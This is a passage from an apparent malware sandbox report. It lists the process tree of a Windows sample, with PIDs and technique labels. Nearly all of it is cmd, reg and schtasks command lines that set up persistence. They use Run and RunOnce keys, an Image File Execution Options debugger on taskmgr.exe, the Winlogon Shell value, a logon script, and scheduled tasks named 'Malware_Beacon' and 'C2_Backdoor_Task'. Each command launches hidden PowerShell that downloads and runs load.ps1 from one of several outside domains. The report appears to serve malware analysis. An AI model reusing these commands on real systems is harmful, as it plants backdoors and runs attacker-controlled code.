      Executes a command shell one-liner
      PID:4416
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3320
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:1172
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:2052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:3720
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        
        PID:3668
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:2144
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:1424
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:4668
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        
        PID:4244
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:4300
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        
        PID:3928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc onlogon /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1772
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4448
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Executes a command shell one-liner
      PID:1372
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:2448
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:4856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:2912
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:3100
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:2888
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:3240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      4⤵
      PID:2728
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        
        PID:3748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      4⤵
      PID:3364
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        System Location Discovery: System Language Discovery
        
        PID:5016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc onlogon /f
      4⤵
      PID:2716
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3068
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Executes a command shell one-liner
      PID:3468
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1796
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:648
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        
        PID:4824
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:3580
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:640
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5112
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:4492
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:4480
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        
        PID:4200
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
      4⤵
      PID:884
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        
        PID:4676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /sc onlogon /f
      4⤵
      Executes a command shell one-liner
      PID:4620
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5080
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:2072
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:1576
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:3944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:4948
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        
        PID:4576
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3528
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:5092
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:224
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        System Location Discovery: System Language Discovery
        
        PID:4128
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:4808
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        System Location Discovery: System Language Discovery
        
        PID:3676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc onlogon /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:2908
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1368
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Executes a command shell one-liner
      PID:4040
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1792
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3980
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        
        PID:4212
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:3784
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:3132
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:780
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:1776
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:3584
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        
        PID:2748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:2088
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        
        PID:2464
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc onlogon /f
      4⤵
      Executes a command shell one-liner
      PID:552
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc onlogon /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2132
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:3024
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:4448
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        
        PID:3148
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:2712
    - - C:\Windows\SysWOW64\reg.exe
        
